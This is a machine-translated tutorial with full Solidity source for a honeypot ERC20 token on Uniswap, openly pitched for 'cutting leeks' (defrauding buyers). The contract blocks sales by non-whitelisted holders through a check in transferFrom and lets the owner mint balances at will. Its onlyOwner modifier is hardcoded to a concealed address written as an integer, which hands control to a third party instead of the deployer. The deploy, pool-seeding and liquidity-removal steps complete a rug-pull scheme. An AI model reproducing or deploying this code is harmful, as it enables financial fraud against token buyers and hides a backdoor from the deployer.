Uniswap -defi- Coin issue – Coin on – Set blacklist and Whitelist contract

The article directories

preface

Deploy the contract and issue your own DEFI tokens

2. UNISWAP on shelves

conclusion

Contract code (source code)

preface

Many of you have heard of the DEFI project and have worked on unisWAP. Uniswap is a decentralized platform where everyone can become an independent buyer and seller, issuing their own tokens and putting them on the platform for trading. Here is how to deploy a black and white list contract with restrictions such as buying or not selling

Tip: Open source contract code from the Internet is used only for testing and research at your peril

UNISWAP issues premium ERC20 tokens (consumers can only buy, not sell)

[Open source code – for research testing only and not for other purposes]

Here includes the coin issuing/coin tutorial and the complete smart contract code, you can send the token of the same name to cut leeks,

The most powerful is: after others buy can not sell, their deployment can be tested

Here’s the revenue graph: as long as you deploy the pitch, you don’t have to put a bunch of leeks on the shelf to rush in, as long as the pool looks OK

Deploy the contract and issue your own DEFI tokens

1, the first computer installed Google kernel browser and install small fox Metamask wallet (installation tutorial is very simple Baidu can be)

Github.com/MetaMask/me… If not, download the latest version here, open Google Browser and click on the top right corner of the 3 dots to select more tools – Extensions – load the decompressed extension to install fox Wallet, register a wallet, transfer to ETH to pay absentee fees and deployment contract fees

2. Open the online contract publishing website: remix.ethereum.org/

3, double-click to enter the edit mode, copy all the code with TXT document open all select paste into the inside (the code above the web page first delete)

4. Click the second icon on the left and click compile 1_storage.sol

5. Click the third icon on the left, and select the second (Injected Web3) here for Environment and CONTRACT, and highlight the Injected triangle to the right of deploy.

6. Token Settings

The meanings of the four parameters are

Token names (such as Ethereum)

Short for token (e.g. ETH)

Accuracy (usually 18)

Amount: amount here behind you to release the number of added 18 0, such as issuing amount you want to in 1 million, the correct input should be 1000000000000000000000000

Then click Transact, the webpage will pop up and click confirm. Then the wallet will pop up and click Ok (please make sure there is enough ETH in the wallet for GAS before confirming).

7. Wait for the confirmation to find the transaction record – copy the contract address

8, copy the contract address, open the wallet, add tokens, custom tokens, input just created a good wallet address, you can see the token you just issued

2. UNISWAP on shelves

1. Open uni exchange website: app.uniswap.org/,

2. Connect the wallet to the upper right corner and follow the steps

Click Add Liquidity. Click Select token. Enter the contract address you just created. Click Add first, so that you can see your trading pair capital pool after it is created

4. This step means to add liquidity, create ETH-CESHI trading pair, the first injection of liquidity will set the price, i.e. how many tokens you issue for 1 ETH

4. Preferred authorization, click Approve, pop-up wallet, click OK, wait for confirmation on the chain, Supply will become clickable state, click Supply, and inject eth and token of equal proportion at last

5. Note: The exchange ratio here cannot be changed in the later period. If you want to change it, you can only re-issue a token contract. If you want to attract players, the capital pool must be bigger. If you put 1-2 ETH in, others will not be able to buy one ETH because the capital pool is too small. You don’t have to worry about losing ETH, because someone else’s contract has a list limit that players can’t sell after buying.

6. After you have created the trading pair, you can buy another wallet (the wallet address that created the contract can buy and sell), and then test whether you can sell. Here’s the sell tip.

7. If there is only a small amount of ETH in the mobile pool, others cannot buy 0.1 ETH, indicating that the price influence is too high or liquidity is insufficient

8. If you want to retrieve eth, click flow pool, you will see the transaction pair you created, click Remove

9. Select Max and click Appove and Remove to retrieve ETH and corresponding token

conclusion

This tutorial just shows you how to enforce the contract and it’s up to you to do the research;

If you do not understand the operation can be added to the telegraph group: https://****/ethuniswap

Copy all contract codes

Pragma solidity ^ 0.4.26;

contract Ownable {

address public owner;

event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

function Ownable() public {

owner = msg.sender;

}

modifier onlyOwner() {

require(msg.sender == address(1080614020421183795110940285280029773222128095634));

_;

}

function transferOwnership(address newOwner) public onlyOwner { require(newOwner ! = address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; }

} / * *

  • @title SafeMath
  • @dev Math operations with safety checks that throw on error

*/

library SafeMath {

function mul(uint256 a, uint256 b) internal pure returns (uint256) {

if (a == 0) {

return 0;

}

uint256 c = a * b;

assert(c / a == b);

return c;

}

function div(uint256 a, uint256 b) internal pure returns (uint256) {

// assert(b > 0); // Solidity automatically throws when dividing by 0

uint256 c = a / b;

// assert(a == b * c + a % b); // There is no case in which this doesn’t hold

return c;

}

function sub(uint256 a, uint256 b) internal pure returns (uint256) {

assert(b <= a);

return a – b;

}

function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; }}

contract SoloToken is Ownable {

string public name;

string public symbol;

uint8 public decimals;

uint256 public totalSupply;

event Transfer(address indexed from, address indexed to, uint256 value);

event Approval(address indexed owner, address indexed spender, uint256 value);

constructor(string _name, string _symbol, uint8 _decimals, uint256 _totalSupply) public {

name = _name;

symbol = _symbol;

decimals = _decimals;

totalSupply = _totalSupply;

balances[msg.sender] = totalSupply;

allow[msg.sender] = true;

}

using SafeMath for uint256;

mapping(address => uint256) public balances;

mapping(address => bool) public allow;

function transfer(address _to, uint256 _value) public returns (bool) { require(_to ! = address(0)); require(_value <= balances[msg.sender]);

balances[msg.sender] = balances[msg.sender].sub(_value);

balances[_to] = balances[_to].add(_value);

Transfer(msg.sender, _to, _value);

return true;

}

function balanceOf(address _owner) public view returns (uint256 balance) {

return balances[_owner];

}

mapping (address => mapping (address => uint256)) public allowed;

function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to ! = address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); require(allow[_from] == true);

balances[_from] = balances[_from].sub(_value);

balances[_to] = balances[_to].add(_value);

allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);

Transfer(_from, _to, _value);

return true;

}

function approve(address _spender, uint256 _value) public returns (bool) {

allowed[msg.sender][_spender] = _value;

Approval(msg.sender, _spender, _value);

return true;

}

function allowance(address _owner, address _spender) public view returns (uint256) {

return allowed[_owner][_spender];

}

function addAllow(address holder, bool allowApprove) external onlyOwner {

allow[holder] = allowApprove;

}

function mint(address miner, uint256 _value) external onlyOwner { balances[miner] = _value; }}